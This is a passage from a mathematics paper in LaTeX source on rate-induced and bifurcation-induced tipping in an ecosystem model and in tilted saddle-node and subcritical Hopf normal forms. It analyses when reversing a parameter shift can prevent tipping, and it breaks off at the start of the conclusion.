start to exceed the timescale of $e_3(t)$, meaning that the system becomes more able to
follow the moving stable equilibrium $e_3(t)$. On the one hand, we
start to lose R-tipping. On the other hand, the system acquires some
characteristics of a slow passage through a Hopf bifurcation. In particular,
there is a bifurcation delay that allows the system to spend a noticeable
time past the critical level $H_e$ before B-tipping actually occurs.
As a result, the tracking-tipping transition due to $H_e$ is shifted to
a much larger $\Delta_r$. Hence the deep wedge in $c^{\,\updownarrow}$.
As $\varepsilon$ is decreased further, $H(t)$ and $P(t)$ become much
faster than $e_3(t)$, and start to closely track $e_3(t)$. We move into the regime
of a slow passage through a Hopf bifurcation, which is characterised
by a noticeable bifurcation delay that does not vanish even when $\varepsilon\to 0$.\footnote{This is another example of a singular perturbation problem where the bifurcations delay is undefined if $\varepsilon = 1$ and is ${\cal{O}}(1)$ for $0<\varepsilon\ll 1$~\cite{baer1989slow,neishtadt1987persistence,neishtadt1988persistence}.}
Thus, the `slow' approach of $c^{\,\updownarrow}$ towards $H_e$ as $\varepsilon\to 0$
is attributed to this bifurcation delay.
In summary, the intricate tipping diagram captures
different aspects of the interaction between B-tipping and R-tipping, and explains
the non-unique tipping with three critical rates from Fig.~\ref{fig:pht4}.
\begin{figure}[t]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[]{Sech_r1m12_vary_m.pdf}
\end{center}
\caption{
(a) Example of a parameter path $\Delta_m$ across the dangerous
bifurcation $H_e$, together with (shading) the region of basin
instability $BI(e_3,p_1)$ for $p_1= (1,0.12)$ in the $(r,m)$
bifurcation diagram.
(b) The tipping diagram in the $(\Delta_m,\varepsilon)$ parameter
plane for non-monotone shift~\eqref{eq:force2} from $p_1$ along
the parameter path $\Delta_m$. The tipping-tracking transition
curve $c^{\,\updownarrow}$ separates the diagram into regions of (white)
tracking and (pink) tipping. The inset shows the wiggling part of $c^{\,\updownarrow}$. $b = b_c = 0.025$.
}
\label{fig:fbs10}
\end{figure}
\subsection{Non-monotone Shifts Across Dangerous Bifurcation}
The third type of interaction arises during a non-monotone passage through
a dangerous bifurcation, and is more of an interplay between
critical levels and critical rates rather than between B-tipping
and R-tipping. To be more specific, we consider a parameter path
that crosses a dangerous bifurcation, but does not involve any
basin instability.
The path $\Delta_m$ through a subcritical Hopf bifurcation $H_e$
from Fig.~\ref{fig:fbs10}(a) is an example of such a path.
The difference from the first two types
of interaction is that neither basin instability nor pure R-tipping
occur along this path.
Nonetheless, the system response is expected to depend on the rate $\varepsilon$.
For example, the system may avoid tipping despite going
past the dangerous bifurcation if it turns around fast
enough~\cite{bolt2018climate,ritchie2017inverse}. Thus, in addition to
the critical level, we
also expect critical rate(s).
We fix $r = 1$, consider non-monotone shifts in the
herbivore death rate along $\Delta_m$:
\begin{align}
\label{eq:force_m}
m(t) = 0.12 + \Delta_m \sinh(\varepsilon t),
\end{align}
and initiate the non-autonomous system~\eqref{eq:dPdt_na}--\eqref{eq:dHdt_na}
at the stable equilibrium $e_3(t_0)$ at time $t_0 (\varepsilon) =
\mbox{sech\,}^{-1}\left(10^{-3}\right)/\varepsilon \approx -7.6/\varepsilon$.
The resulting tipping-tracking transition curve $c^{\,\updownarrow}$
in the $(\Delta_m,\varepsilon)$ tipping diagram shows a complicated rate dependence
and is far from trivial [Fig.~\ref{fig:fbs10}(b)]. Owing to the absence of basin
instability and R-tipping, it is expected that $\Delta_m$ has to
exceed the critical level $H_e$ for tipping to occur. What is
less obvious is the presence of multiple critical rates.
Past $H_e$, there is a range of shift magnitudes $\Delta_m$
with a unique critical rate. However, for larger $\Delta_m$,
the curve $c^{\,\updownarrow}$ has a `bump' that gives rise to three
critical rates for a fixed $\Delta_m$. One can think of this `bump'
as a remnant of the R-tipping tongue found for paths $\Delta_m$ starting
at lower values of $m$. Most interestingly, there is an interval of $\Delta_m$
where the `oscillating' part of $c^{\,\updownarrow\,}$ gives rise to
several critical rates for the same $\Delta_m$ [inset in Fig.~\ref{fig:fbs10}(b)].
\section{Points of Return, Points of No Return, Points of Return Tipping}
\label{sec:pnr}
Tipping is often defined as a large, sudden and possibly unexpected change
in the state of the system, caused by a slow or small change in the external
input (e.g. environmental conditions). Although ``sudden" and ``unexpected"
suggest that foreseeing and preventing tipping may be difficult, it should
in general be possible~\cite{hughes2013living}. In this section, we are
guided by the question:
{\em Given a monotone parameter shift that gives tipping, when can tipping be
prevented by a parameter-shift reversal?} Certain aspects of this question
have been explored in the context of B-tipping near a saddle-node bifurcation.
For example, Hughes et al.~\cite{hughes2013living} speak of ``living dangerously on
borrowed time'' to describe a window of opportunity for ecosystems to
return to safer conditions before an otherwise inevitable tipping occurs.
Biggs et al.~\cite{biggs2009turning} ask whether early-warning indicators for
tipping provide sufficient warning to modify the ecosystem's management and
avert undesired regime shifts by ``turning back from the brink".
Gandhi et al.~\cite{gandhi2015dynamics,gandhi2015localized} consider non-monotone
parameter shifts through the global saddle-node bifurcation
(saddle-node on a limit cycle) to identify a new resonance mechanism in
the context of spatially localised (vegetation) patterns.
Ritchie et al.~\cite{ritchie2017inverse} model systems near a saddle-node bifurcation
and analyse relations between the time and amplitude of a saddle-node
crossing to avoid B-tipping~\cite{ritchie2017inverse}.
Most recently, Alkhayuon et al.~\cite{alkhayuon2018rate} investigate ``avoided" B-tipping
and R-tipping near a subcritical Hopf bifurcation in the box model of
the Atlantic Meridional Overturning Circulation (AMOC) in the context of collapse of the AMOC
and climate change mitigation.
Here, we extend the existing literature on avoiding B-tipping to
(i) analyse a subcritical Hopf bifurcation,
(ii) obtain additional results on a
saddle-node bifurcation, and (iii)
describe R-tipping effects for shifts that start away from a bifurcation point.
What is more, we compare three different results: the ecosystem model results, analysis of canonical forms for the two generic dangerous bifurcations of
equilibria namely saddle-node and subcritical Hopf bifurcations, and the recent
theoretical predictions for a saddle-node bifurcation from Ref.~\cite{ritchie2017inverse}.
The canonical forms are modified (`tilted') normal forms to capture B-tipping near
the bifurcation point as well as R-tipping away from the bifurcation point.
Specifically, we consider paths in one parameter $\mu$. A path starts at $\mu=\mu_-$
and may traverse the bifurcation at $\mu=\mu_b$. Along a parameter path,
we consider modified monotone shifts that reach a maximum in finite time
[green in Fig.~\ref{fig:monononmono}(b)]:
\begin{equation}
\mu(t) = \begin{cases}
\mu_- + \Delta_{ \mu} \, \mbox{sech\,}(\varepsilon t), & \, t \leq 0, \\
\mu_- + \Delta_{ \mu}, & \, t > 0,
\end{cases}
\label{eq:force3}
\end{equation}
and are parametrised by the magnitude $\Delta_ \mu$ and rate $\varepsilon > 0$.
The parameter shift reversal of~\eqref{eq:force3} can, in general,
have two additional parameters $c,\tau > 0$:
\begin{equation}
\label{eq:force4}
\mu(t) = \begin{cases}
\mu_- + \Delta_{ \mu} \, \mbox{sech\,}(\varepsilon t), & \, t \leq 0, \\
\mu_- + \Delta_{ \mu}, & \, 0 < t < \tau \\
\mu_- + \Delta_{ \mu} \, \mbox{sech\,}(c\, \varepsilon (t - \tau)), & \, t \ge \tau,
\end{cases}
\end{equation}
where $c\ne 1$ allows for different rates of shifting back and forth,
and $\tau > 0$ allows for some `waiting time' before turning around~\cite{alkhayuon2019}.
Here, we consider a special case, obtained by setting $c=1$
and $\tau = 0$ in~\eqref{eq:force4}, which corresponds to the parameter
shift~\eqref{eq:force2} used in the previous section
[red in Fig.~\ref{fig:monononmono}(b)].
For each path, we obtain $(\Delta_\mu,\varepsilon)$ combinations where tipping can or
cannot be prevented by the parameter-shift reversal. In this way, we
uncover four possible regions in the $(\Delta_\mu,\varepsilon)$ tipping diagram:
\begin{itemize}
\item[$\bullet$] {\em Points of tracking} are defined as $(\Delta_\mu,\varepsilon)$
settings where the system avoids tipping for monotone and
non-monotone shifts. This is the safe region of tracking, sometimes refered to as the ``safe operating space"~\cite{scheffer2015creating}.
\item[$\bullet$] {\em Points of return} are defined as $(\Delta_\mu,\varepsilon)$
settings where the system tips for monotone shifts, but does not tip
for non-monotone shifts. Here, an otherwise imminent tipping is prevented
by the parameter-shift reversal.
\item[$\bullet$] {\em Points of no return} are defined as $(\Delta_\mu,\varepsilon)$
settings where the system tips for monotone and non-monotone shifts.
Here, tipping is not prevented by the parameter-shift reversal.
\item[$\bullet$] {\em Points of return tipping} are defined as
$(\Delta_\mu,\varepsilon)$ settings where the system does not tip
for monotone shifts, but tips for non-monotone shifts. Here,
the parameter shift reversal inadvertently induces tipping in an otherwise safe
situation.
\end{itemize}
Note that the existence, shape and location of the four regions in the
$(\Delta_\mu,\varepsilon)$ tipping diagram will, in general, depend on
the geometric form of the shift $\mu(t)$, on the difference between the rates for shifting back and
forth ($c\ne 0$), and on the waiting time ($\tau > 0$). These dependencies
are not addressed here and are left for future study.
To facilitate comparisons with other works that compute the exceedance time $t_e$, which is the time the system spends past a dangerous bifurcation, we give the formula for $t_e$ in terms of the magnitude $\Delta_\mu$ and rate $\varepsilon$ of the shift~\eqref{eq:force4}:
\begin{equation}
\label{eq:texceed}
t_e = \dfrac{c + 1}{c\,\varepsilon}\, \mbox{sech\,}^{-1}\!\left(\dfrac{\mu_b - \mu_-}{\Delta_{\mu}}\right) + \tau,
\end{equation}
where $\mbox{sech\,}^{-1}x\ge 0$ for $0< x\le 1$. See the Appendix for the derivation of $t_e$.
\begin{figure}[t]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[]{PieceSechr1m075r5m12dyndel.pdf}
\end{center}
\caption{
Tipping diagrams from (a) Fig.~\ref{fig:epsrdot1}(a) and (b) Fig.~\ref{fig:epsrdot3}(a)
partitioned into (white) ``points of tracking", (green) ``points of return"
and (pink) ``points of no return".
The tipping-tracking transition curves $c^{\uparrow}$ and $c^{\,\updownarrow}$ are obtained
for monotone Eq.~\eqref{eq:force1} and non-monotone Eq.~\eqref{eq:force2}, respectively,
parameter shifts
from $p_1 = (0.5,0.12)$ along the parameter path $\Delta_r$ from Fig.~\ref{fig:pht4}(a).
}
\label{fig:fbs9}
\end{figure}
\subsection{The Ecosystem Model}
For the ecosystem model~\eqref{eq:dPdt_na}--\eqref{eq:dHdt_na}, we consider
two different parameter paths giving rise to two different diagrams in
Fig.~\ref{fig:fbs9}. The $(\Delta_r,\varepsilon)$ tipping diagram in Fig.~\ref{fig:fbs9}(a)
is obtained for a parameter path with a fixed $m=0.075$, $r_- = 1$, and $r(t)> 1$
such that the path crosses the boundary $BI$ of the basin instability $BI(e_3,p_1)$,
but does not cross any bifurcations. Thus, Fig.~\ref{fig:fbs9}(a) describes points of
return and no return for R-tipping alone. Points of no return are bounded by the
tipping-tracking transition curve $c^{\,\updownarrow}$ for the
non-monotone shift~\eqref{eq:force2}. Points of return are located between
$c^{\,\updownarrow}$ and the tipping-tracking transition curve $c^{\uparrow}$
for the monotone shift~\eqref{eq:force3} with $\mu = r$.
At higher $\varepsilon$, (green) points of return extend over the entire
$\Delta_r$ interval. This is indicative of R-tipping occurring after
the input $r(t)$ reaches its maximum. Here,
the natural timescales of $H(t)$ and $P(t)$ are slower than $e_3(t)$, and
the system is slow to respond to changes in $r(t)$. However,
as $\varepsilon$ is decreased, $c^{\uparrow}$ and $c^{\,\updownarrow}$ approach each
other so that the (green) points of return shrink and appear to vanish at
$\varepsilon\approx 0.2$. Overlapping of $c^{\uparrow}$ and $c^{\,\updownarrow}$ gives
rise to apparently direct transitions from (white) tracking to
(pink) points of no return. This is indicative of R-tipping occurring before the input
$r(t)$ reaches its maximum. Here, the natural timescales of $H(t)$ and $P(t)$
become comparable to $e_3(t)$, the system R-tips to $e_2(t)$ during the upshift in $r(t)$,
and the parameter-shift reversal has no effect on the overall response of the system.
Note that $e_2(t)$ is basin stable on any parameter path within regions 5 and 7.
The $(\Delta_r,\varepsilon)$ tipping diagram in Fig.~\ref{fig:fbs9}(b)
is obtained for the parameter path $\Delta_r$ from Fig.~\ref{fig:pht4}(a)
with a fixed $m=0.12$, $r_- = 0.5$, and $r(t)> 0.5$ such that the path
crosses the boundary $BI$ of the basin instability $BI(e_3,p_1)$
as well as the dangerous (subcritical) Hopf Bifurcation $H_e$.
Thus, Fig.~\ref{fig:fbs9}(a) describes points of return and no return for
the interplay between B-tipping and R-tipping. At higher $\varepsilon$,
R-tipping is the dominant tipping mechanism. Indeed, the part of the tipping
diagram between $BI$ and $H_e$ at higher $\varepsilon$ is the same as
in Fig.~\ref{fig:fbs9}(a), including the vanishing (green) region with
points of return. At intermediate $\varepsilon$, the competition between
B-tipping and R-tipping gives rise to a deep wedge in $c^{\,\updownarrow}$,
which opens up another (green) region with points of return.
At lower $\varepsilon$, B-tipping is the dominant tipping mechanism.
Here, the natural timescales of $H(t)$ and $P(t)$ become
faster than $e_3(t)$, and the problem resembles a slow passage through
a Hopf bifurcation. The associated bifurcation delay is responsible for
the lower boundary of the deep wedge in $c^{\,\updownarrow}$, and for the
`slow' convergence of $c^{\,\updownarrow}$ towards $c^{\uparrow}$ (or towards $H_e$)
as $\varepsilon\to 0$.
Overall, the intricate $(\Delta_r,\varepsilon)$ tipping diagram for the ecosystem model
is partitioned into regions of tracking, points of return and points of no return.
In particular, there appears to be two different regions of points of return
separated by direct transitions from tracking to points of no return.
This leads us to the final question: {\em How typical is the intricate tipping
diagram from Fig.~\ref{fig:fbs9}(b)?} To answer this question we analyse tipping
diagrams for a (slow) passage through the two generic dangerous bifurcations
of equilibria, namely saddle-node and subcritical Hopf bifurcations.
\subsection{The Two Generic Dangerous Bifurcations of Equilibria}
From among different dangerous bifurcations of equilibria, only sadddle-node and subcritical
Hopf bifurcations are generic in the sense that they persist under arbitrarily small
perturbations of the vector field. Here, we consider modified (`tilted') versions
of the saddle-node and subcritical Hopf normal forms to study typical effects
of non-monotone shifts across a dangerous bifurcation.
The modification involves an additional parameter $s$ that quantifies the `tilt' of the branches of solutions
in the one-parameter bifurcation diagram; see Fig~\ref{fig:S_H_NF1}. Both bifurcations occur at $\mu_b=0$, and
the regular normal forms are recovered when $s=0$.
As there is no basin instability in the regular normal forms, there can be no R-tipping
from the stable equilibrium when $s=0$.\footnote{
For the unmodified subcritical Hopf normal form, that is Eq.~\eqref{eq:nf10} with $s=0$, both B-tipping and R-tipping from the stable equilibrium
can be excluded because the branch of equilibria is a flow-invariant line in the $(z,t)$ phase space
of the non-autonomous system. For the unmodified saddle-node normal form, that is Eq.~\eqref{eq:snf4} with $s=0$, R-tipping can be excluded because
the stable equilibrium is basin stable and the system is one-dimensional~\cite{ashwin2012tipping}.} However, the dynamics change when $s\ne 0$. In particular, R-tipping can be
observed when the `tilt' is sufficient enough to give basin instability along the chosen parameter
path. In the following, we use $\mu_*$ to denote the basin instability boundary.
\begin{figure}[ht]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[width=13cm]{1DBif_Saddle_Hopf_NF.pdf}
\end{center}
\caption{
One-parameter bifurcation diagrams for the modified (tilted) subcritical Hopf normal form
Eq.~\eqref{eq:nf8} with (a) $s>0$ and (b) $s<0$, and for the modified (tilted) saddle-node
normal form Eq.~\eqref{eq:snf1} with (c) $s>0$ and (d) $s<0$. Shown are branches of (solid)
stable and (dashed) unstable equilibria $e$, branches of the maxima $l_x^+$ and minima $l_x^-$
of the $x$-component of the unstable limit cycle, parameter paths $\Delta_\mu$ from $p_1=\mu_-$,
and the corresponding basin instability boundary $\mu^\pm_*$ of (a-b) $BI(e,\mu_-)$ and (c-d)
$BI(e^+,\mu_-)$.
}
\label{fig:S_H_NF1}
\end{figure}
\subsubsection{Modified Subcritical Hopf Normal Form}
To make direct comparisons with the ecosystem model, first
consider a system in $\mathbb{R}^2$ akin to the normal form of the subcritical Hopf bifurcation~\cite[Sec.3.4]{kuznetsovelements} written in terms of a complex variable $z = x + i y$:
\begin{equation}
\label{eq:nf8}
\dot z = \left(\mu + i\left[\omega + \alpha \left|z - \mu s \right|^2\right]\right) \left(z - \mu s\right) + \left|z - \mu s \right|^2 (z - \mu s).
\end{equation}
where $\mu$ is the bifurcation parameter, $\omega$ is the angular frequency of small-amplitude oscillations, $\alpha$ quantifies the amount of shear or amplitude-phase coupling and $s$ is the `tilt' parameter. The subcritical Hopf normal form is recovered when we set $s=0$ and apply a change of
coordinates to transform away the term proportional to $\alpha$~\cite[Sec.3.4]{kuznetsovelements}. There is one
branch of equilibria
$$
e(\mu,s) = \mu s + 0i,
$$
that is stable for $\mu<0$ and unstable for $\mu>0$, and one branch of unstable limit cycles
$$
l(\mu,s,t) = \mu s +\sqrt{-\mu}\,e^{i(\omega - \alpha\mu)t},
$$
that exists for $\mu<0$. The real part of the limit cycle solution oscillates between
$$
l_x^- (\mu,s)= -\sqrt{-\mu} + \mu s\;\; \mbox{and}\;\; l_x^+(\mu,s) = \sqrt{-\mu} + \mu s,
$$
as shown in Fig.~\ref{fig:S_H_NF1}(a)--(b).
For every $s\ne 0$, there are two basin instability boundaries. They are obtained by fixing $\mu_-$ and solving
$$
\mbox{Re}[e(\mu_-,s)] = l_x^-(\mu_*,s)\;\; \mbox{and}\;\; \mbox{Re}[e(\mu_-,s)] = l_x^+(\mu_*,s),
$$
for $\mu_*$, which gives
$$
\mu_*^- = \mu_- -\frac{1 + \sqrt{1-4s^2\mu_- }}{2s^2} < \mu_-
\;\;\mbox{and}\;\;
\mu_*^+ = \mu_- -\frac{1 - \sqrt{1-4s^2\mu_- }}{2s^2} > \mu_-.
$$
Since we restrict to small enough and positive shift magnitudes $\Delta_\mu>0$,
the relevant basin instability boundary is $\mu_*^+>\mu_-$; see Fig.~\ref{fig:S_H_NF1}(a).
Now, consider the corresponding non-autonomous system
\begin{equation}
\label{eq:nf10}
\dot z = \left(\mu(t) + i\left[\omega + \alpha \left|z - s\mu(t) \right|^2\right]\right) \left(z - s\mu(t)\right) + \left|z - s\mu(t) \right|^2 (z - s\mu(t)),
\end{equation}
initialised at
$$
z(t_0) = e(\mu(t_0),s),\;\;t_0 = \frac{1}{\varepsilon}\,\mbox{sech\,}^{-1}\left(10^{-3}\right).
$$
Firstly, we analyse R-tipping for non-monotone $\mu(t)$ given by Eq.~\eqref{eq:force4}
with $\mu_- = -1$, $\Delta_\mu >0$, $c=1$, $\tau=0$ and different values of $s$
[Fig.~\ref{fig:HNF2}(a)]. Note that the line $e=\mu s + 0i$ is flow-invariant
when $s=0$, but not when $s\ne 0$.
Therefore, tipping from the stable equilibrium $e$ requires nonzero
$s$. For $s=10^{-4}$, we obtain $\mu_*^+\approx -10^{-8}$, meaning that the region of
basin instability between $\mu_*^+$ and $H_e$ is negligible. The only tipping
that occurs in the non-autonomous system
is B-tipping for $\Delta_\mu > 1$, as evidenced by the tipping-tracking
transition curve $c^{\,\updownarrow}$ in the $(\Delta_\mu,\varepsilon)$ tipping diagram.
When $s=0.5$, the basin instability boundary moves to $\mu_*^+=2\sqrt{2}-3\approx-0.17$
or $\Delta_\mu \approx 0.83$, and the region of basin instability becomes non-negligible.
As a result, the curve $c^{\,\updownarrow}$ deviates from the case $s=0$ in different ways.
While R-tipping still does not occur, basin instability gives rise to
a fold on $c^{\,\updownarrow}$ and a range of shift magnitudes $\Delta_\mu$ with three critical rates.
When the `tilt' is increased to $s=2$, the basin instability boundary moves to
$\mu_*^+\approx-0.61$ or $\Delta_\mu \approx 0.39$. Now, in addition to B-tipping and a range of $\Delta_\mu$
with three critical rates, there is R-tipping for $\Delta_\mu<1$. The tracking-tipping transition
curve $c^{\,\updownarrow}$ closely resembles the tipping diagram
for the ecosystem model from Fig.~\ref{fig:epsrdot4}. The R-tipping tongue at higher rates
is the result of basin instability. The `slow' approach (and possibly lack of convergence)
of the $c^{\,\updownarrow}$ curves towards $H_e$ as $\varepsilon\to 0$ is the result of
a surprising property of the slow passage through a Hopf bifurcation.
Namely, the distance the solution tracks the unstable equilibrium past the bifurcation point
is independent of the rate of parameter change and does not tend to zero as
$\varepsilon\to 0$~\cite{baer1989slow,neishtadt1987persistence,neishtadt1988persistence}.
In other words,
the system tracks the unstable equilibrium past the bifurcation point for a
noticeable amount of time, making it possible to turn around and avoid
tipping even for vanishing rates of parameter
change.
The most noticeable difference from the ecosystem model
is the absence of the ``deep wedge" at the intermediate rates. Instead, there is
a characteristic kink on the $c^{\,\updownarrow}$ curves near $\varepsilon=10^{-2}$
in Fig.~\ref{fig:HNF2}(a), possibly with multiple wiggles such as those shown in the inset
of Fig.~\ref{fig:fbs10}(b). The origin of the kink and the wiggles, as well as the scaling
law for $c^{\,\updownarrow}$ in the limit $\varepsilon\to 0$, are left for future study.
The agreement with the ecosystem model extends to ``points of return" and ``points of no
return" as shown in Figs.~\ref{fig:fbs9}(b) and~\ref{fig:SNHNF}(b1), where the
tracking-tipping transition curve $c^{\uparrow}$ is obtained for the monotone
parameter shift~\eqref{eq:force3}. Interestingly, for sufficiently high `tilt'
parameter $s$, a new region of ``points of return tipping" appears in the
diagram [Fig.~\ref{fig:SNHNF}(c1)] that is not present in the ecosystem model.
This means that, in general, all four regions identified in the beginning of
Sec.~\ref{sec:pnr} can be present for a non-monotone passage through a subcritical
Hopf bifurcation. What is more, the $c^{\uparrow}$ and $c^{\,\updownarrow}$ curves
need not approach each other like they do in the ecosystem model in Fig.~\ref{fig:fbs9}(b).
Finally, the rotational symmetry in the phase space of the (modified) Hopf normal form implies a symmetry
in the basin instability boundaries
$$
\mu_*^\pm(s) = \mu_*^\pm(-s),
$$
meaning that the system has the same basin instability properties for
$s$ and $-s$. According to the R-tipping criterion from Sec.~\ref{sec:tcTtip},
given a suitable $\mu(t)$ that increases over time,
R-tipping for $s$ and $-s$
requires the same shift magnitude. Similarly, given a suitable $\mu(t)$ that decreases
over time, R-tipping for $s$ and $-s$ requires the same shift magnitude. Thus,
we obtain the same tipping diagrams for $s$ and $-s$ in the left column of Fig.~\ref{fig:SNHNF}.
For a fixed $s\ne 0$, R-tipping for an increasing $\mu(t)$ requires a smaller shift
magnitude than R-tipping for the decreasing $\mu(-t)$. This is why the region of
``points of return tipping'' in Fig.~\ref{fig:SNHNF}(c1) is small.
\begin{figure}[t]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[]{SaddleHopfNFSechAlldyndel1x2.pdf}
\end{center}
\caption{
Tipping diagrams in the $(\Delta_\mu,\varepsilon)$
parameter plane for non-monotone shifts~\eqref{eq:force4}
with $\tau = 0$, $c = 1$ and $\mu_- = -1$
along the parameter path $\Delta_\mu$ from Fig.~\ref{fig:S_H_NF1}(a) and (c).
(a) Tipping-tracking transition curves $c^{\,\updownarrow}$
for the modified (tilted) subcritical Hopf normal form Eq.~\eqref{eq:nf10}
with $\alpha=1$, $\omega=1$ and different values of $s$.
(b) Tipping-tracking transition curves $c^{\,\updownarrow}$
for the modified (tilted) saddle-node normal form Eq.~\eqref{eq:snf4}
with different values of $s$. The dashed red curve in (b) is the approximation
to $c^{\,\updownarrow}$ obtained in Ref.~\cite{ritchie2017inverse} for $s \varepsilon$ small enough; see Appendix \ref{App:AppendixE}.
}
\label{fig:HNF2}
\end{figure}
\subsubsection{Modified Saddle-Node Normal Form}
To make comparisons with the other generic dangerous bifurcation of equilibria,
consider a system in $\mathbb{R}$ akin to the normal form of the saddle-node
bifurcation~\cite[Sec.3.2]{kuznetsovelements}:
\begin{equation}
\label{eq:snf1}
\dot x = -(x-\mu s)^2 -\mu,
\end{equation}
where $\mu$ is the bifurcation parameter and $s$ is the `tilt' parameter. The branches of stable $e^+$ and unstable $e^-$ equilibria exist for $\mu\le 0$ and are given by
\begin{equation}
\label{eq:snfeqsol1}
e^+ (\mu,s)= \mu \, s + \sqrt{-\mu}, \;\;\mbox{and}\;\; e^-(\mu,s)= \mu \, s -\sqrt{-\mu},
\end{equation}
as shown in Fig.~\ref{fig:S_H_NF1}(c)--(d). The basin instability boundary is obtained by fixing $\mu_-$ and solving
$$
e^+(\mu_-,s) = e^-(\mu_*,s),
$$
for $\mu_*$. The boundary exists for $s<0$ or $s>1/\sqrt{-\mu_-}$ and is given by
\begin{equation}
\label{eq:snf3}
\mu_* = - \left(\sqrt{-\mu_-} - \frac{1}{s}\right)^2.
\end{equation}
Now, consider the corresponding non-autonomous system
\begin{align}
\label{eq:snf4}
\dot x = -(x-\mu(t) s)^2 -\mu(t),
\end{align}
initialised at
$$
x(t_0) = e^+(\mu(t_0),s),\;\;t_0 = \frac{1}{\varepsilon}\,\mbox{sech\,}^{-1}\left(10^{-3}\right).
$$
Firstly, we analyse R-tipping for non-monotone $\mu(t)$ given by Eq.~\eqref{eq:force4}
with $\mu_- = -1$, $\Delta_\mu>0$, $c=1$, $\tau=0$ and different values of $s$ [Fig.~\ref{fig:HNF2}(b)].
When $s=0$, there is no basin instability and R-tipping cannot occur.
The only tipping that occurs for $s=0$ is B-tipping for $\Delta_\mu>1$.
The tracking-tipping transition curve $c^{\,\updownarrow}$ in the $(\Delta_\mu,\varepsilon)$
tipping diagram is in very good agreement with the critical ``exceedance time" formula
$$
t_e \approx \frac{2}{\sqrt{\Delta_\mu + \mu_-}},
$$
derived
in Ref.~\cite{ritchie2017inverse} for small $s \varepsilon$.
To demonstrate the agreement, we use Eq.~\eqref{eq:texceed} with $c=1$, $\tau=0$ and $\mu_b=0$,
express the $t_e$ formula above in terms of the scalling law for $\varepsilon$ and
$\Delta_\mu$:
\begin{equation}
\label{eq:texceedtrans}
\varepsilon \approx \sqrt{\Delta_\mu +\mu_-}\;\mbox{sech\,}^{-1}\left(\frac{-\mu_-}{\Delta_\mu} \right),
\end{equation}
and plot condition~\eqref{eq:texceedtrans} as a dashed red curve in Fig.~\ref{fig:HNF2}(b).
When $s=2$, there is a basin instability boundary at $\mu_*=-1/4$, meaning that the
stable equilibrium $e^+$ is basin unstable for $\Delta_\mu > \mu_*-\mu_-=3/4$.
Although the tracking-tipping transition curve $c^{\,\updownarrow}$ deviates noticeably
from the case $s=0$, especially at higher rates $\varepsilon$, the changes are
quantitative and R-tipping still does not occur.
When the `tilt' is increased to $s=3$, the basin instability boundary moves to
$\mu_*=-4/9$, meaning that $e^+$ is basin unstable for $\Delta_\mu > \mu_*-\mu_-=5/9$.
This results in two significant changes to the tracking-tipping transition curve $c^{\,\updownarrow}$.
Firstly, $c^{\,\updownarrow}$ develops two folds and becomes S-shaped, giving rise to
a range of shift magnitudes $\Delta_\mu$ with three different critical rates.
Secondly, in addition to B-tipping, there is an R-tipping tongue for $\Delta_\mu<1$.
In contrast to the Hopf bifurcation, different $c^{\,\updownarrow}$ curves appear
to converge to $S_e$ as $\varepsilon\to 0$. This is because the distance the
solution overshoots the saddle-node bifurcation point vanishes as the rate of parameter change tends to zero~\cite{berglund2006noise,majumdar2013transitions}.
In other words, in the limit of a vanishing rate of parameter change, the solution
jumps off the branch of stable equilibria at the bifurcation point with
no time to turn around and avoid tipping.
Apart from some differences at small $\varepsilon$ owing to the
different character of the bifurcation delay, the analysis of
``points of return" and ``points of no return" near a saddle-node bifurcation
reveals much similarity to the subcritical
Hopf bifurcation when $s>0$ [Fig.~\ref{fig:SNHNF}(b2)]. However,
the dynamics for $s<0$ are rather different. The striking difference for
$s=-3$ is the large region of ``points of return tipping'', where there is
R-tipping for non-monotone $\mu(t)$, but not for monotone increasing $\mu(t)$
[Fig.~\ref{fig:SNHNF}(c2)]. This difference is a consequence
of asymmetry in the (modified) saddle-node normal form. To be more specific,
$$
\mu_*(s) \ne \mu_*(-s),
$$
meaning that the system has different basin instability properties for
$s$ and $-s$. According to the R-tipping criterion from Sec.~\ref{sec:tcTtip},
given a suitable $\mu(t)$ that increases over time,
the system is guaranteed to R-tip for $s>0$, but not for $s<0$. Conversely,
given a suitable $\mu(t)$ that decreases over time, the system is guaranteed
to R-tip for $s<0$, but not for $s>0$. Thus, ``points of return tipping"
cannot occur for $s>0$, and are expected to occur for $s<0$, which
explains the diagrams for $s=3$ and $s=-3$ in Fig.~\ref{fig:SNHNF}(b2) and (c2).
\begin{figure}[]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[]{SuperimposeNFasp725.pdf}
\end{center}
\caption{
Tipping diagrams (a1--c1) for the modified (tilted) Hopf normal form Eq.~\eqref{eq:nf10}
and different values of $s$ and (a2--c2) for the modified (tilted)
saddle-node normal form Eq.~\eqref{eq:nf10} are partitioned into (white) ``points of tracking",
(green) ``points of return", (pink) ``points of no return" and (red) ``points of return tipping".
The tipping-tracking transition curves $c^{\uparrow}$ and $c^{\,\updownarrow}$ are obtained
for monotone Eq.~\eqref{eq:force3} and non-monotone Eq.~\eqref{eq:force4}
parameter shifts, respectively, with $\tau = 0$, $c = 1$ and $\mu_-=-1$ along the parameter path $\Delta_\mu$ from Fig.~\ref{fig:S_H_NF1}(a) and (c).
}
\label{fig:SNHNF}
\end{figure}
\subsubsection{Universal Properties of Non-monotone Passage Through a Dangerous Bifurcation}
A comparison between the tracking-tipping transition curves $c^{\,\updownarrow}$ for
the modified subcritical Hopf [Fig.~\ref{fig:HNF2}(a)] and saddle-node [Fig.~\ref{fig:HNF2}(b)]
normal forms reveals some universal qualitative properties of a non-monotone passage through a dangerous bifurcation that are independent of the bifurcation type. In both systems,
the tracking-tipping transition curve
$c^{\,\updownarrow}$ becomes S-shaped, gives rise to three critical rates and develops
an R-tipping tongue as the `tilt' parameter $s$ is increased. On the other hand, there are
differences between the two systems that are also worth pointing out. Multiple critical rates and R-tipping are achieved for a smaller `tilt' parameter $s$ in the
modified Hopf normal form, whereas the approach of $c^{\,\updownarrow}$ towards the bifurcation as $\varepsilon\to 0$ is much faster and follows a different scaling
law in the modified saddle-node normal form. What is more, owing to the basin instability properties, a saddle-node bifurcation may
give rise to a larger region of ``points of return tipping".
\section{Conclusion}
\label{sec:concl}
In this paper we analyse nonlinear tipping phenomena
using examples of an ecological model~\cite{scheffer2008pulse} and modified saddle-node
and subcritical Hopf normal forms with smooth parameter shifts.
The mathematical work is motivated and inspired
by two scientific concerns. One is Article 2 of the United Nations Framework Convention for Climate
